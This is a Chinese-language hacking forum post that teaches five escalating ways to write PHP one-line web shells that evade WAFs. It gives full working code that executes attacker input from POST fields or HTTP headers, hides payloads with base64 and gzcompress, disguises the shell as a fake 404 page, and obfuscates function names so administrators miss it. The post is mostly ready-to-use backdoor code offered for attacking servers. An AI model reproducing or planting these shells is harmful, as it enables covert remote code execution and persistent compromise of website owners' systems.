taibeihacker
Moderator
0×01 姿势一
我們知道PHP動態函數很有意思,那麼你猜到了,姿勢一就是:?php$_POST['xx']($_POST['oo']);
注意XX參數設置成EVAL是不行的哦,讓我們來看看效果:

0×02 姿势二
關鍵詞是過濾了,但是你老是交一些奇奇怪怪的東西,人家幾萬塊買的WAF也不是吃白飯的啊。好好好你醜你說什麼都是對的,我們不交了,getallheaders函數能夠獲取請求頭內容,來試試新傢伙:?phpeval(getallheaders()['Accept-Language']);

當然你要是猥瑣到這樣,那恭喜你,你已經學會舉一反三了.
?php$a=getallheaders()['xxx'];$a(getallheaders()['ooo']);

0×03 姿势三
遇到一般的waf可能上個姿勢就能繞過,但是還是會有一些臭不要臉的waf會檢測http請求頭里的內容,咱們還是從技術角度出發來看看這個問題怎麼繞過,猥瑣的人可能首先想到了的base64,更猥瑣的人可能想到了各種自寫函數進行編碼,替換,但是我見過最猥瑣的思路是gzuncompress和gzcompress函數,話不多說我們先放殼:?phpeval(gzuncompress(base64_decode(getallheaders()['xx'])));

http頭部的里面的xx字段看起來像base64編碼(其實實他就是base64編碼),但是解開之後發現是亂碼,waf識別不出來里面的內容,哈哈是不夠夠猥瑣呢.如果你要是還沒不夠猥瑣,那麼來吧,互相傷害吧:
?php$xx=gzuncompress(base64_decode(getallheaders()['xx']));$xx(gzuncompress(base64_decode(getallheaders()['oo'])));
0x04 姿势四
目前為止,這個殼在傳輸過程中已經沒有任何特徵了,但是管理員畢竟是吃白飯的,某日瀏覽小黃文可能無意間發現你的殼,一堆什麼莫名的的base64函數和查了半天資料也搞不懂的gzuncompress函數,管理員手一抖說不定就給刪了呢,這時候你需要偽裝你的殼,偽裝成404是個比較安全的方法,為了防止管理員訪問殼時出現未提交相應的http header導致php報錯,我們再加上如果判斷,完整的shell如下:!DOCTYPE HTMLPUBLIC'-//IETF//DTD HTML 2.0//EN'
htmlhead
title404Not Found/title
/headbody
h1Not Found/h1
pThe requested URL was not found on this server./p
.
?php
$xx=getallheaders()['xx'];
$oo=getallheaders()['oo'];
if($xx!=''and$oo!=''){
$xx=gzuncompress(base64_decode($xx));$xx(gzuncompress(base64_decode($oo)));
}
/body/html

0x05 姿势五
可能你厭倦了每次提交數據都需要進行手動編碼再提交。技術的目的本身就是機器代替手工,那好用蟒來寫一個我們專屬的一句話控制端吧。不過在這之前我們需要再此改進我們的外殼,使其變得更加隱蔽,更加實用最新版的外殼如下:!DOCTYPE HTMLPUBLIC'-//IETF//DTD HTML 2.0//EN'
htmlhead
title404Not Found/title
/headbody
h1Not Found/h1
pThe requested URL was not found on this server./p?php
//ZUp4THFyVHl5eS9LVGN5ckF3QVZGZ1Av;
$error0='404_not_found';
$error1='400_not_found';
$error2='302_not_found';
.
$_='\x6d\x64\x35';
$__=$_($_.$_.$_);
$header_errors=chr(103).substr($__,14,1).'t'.chr(97).'llh'.substr($__,14,1).'aders';
$base_errors=chr(98).'\x61'.chr(115).substr($__,14,1).'6'.'\x34'.'_'.chr(100).'\x65'.'c'.chr(111).'d'.substr($__,14,1);
$gz_errors='\x67\x7a'.chr(117).chr(110).'com'.'\x70\x72\x65\x73\x73';
if($header_errors()[$error1]!=''and$header_errors()[$error2]!=''){
echo$error0;
$error=$gz_errors($base_errors($base_errors($header_errors()[$error2])));$error($gz_errors($base_errors($base_errors($header_errors()[$error1]))));
echo$error0;}
/body/html
我們看到其實和上個姿勢的差別主要是加了一些混淆,像的base64,gzuncompress等這些函數都進行了動態組合,更具有迷惑性,另外執行命令前後分別有一次回波進行輸出,這主要是方便我們的一句話客戶端在獲取服務器相應內容後能夠利用正則截取真正的執行結果,而不是多了一些其他的HTML之類的沒用的內容。
附下我們客戶端的執行效果:

PS:客戶端目前只寫了個小框架,後面功能稍微完善點之後會放給大家玩的。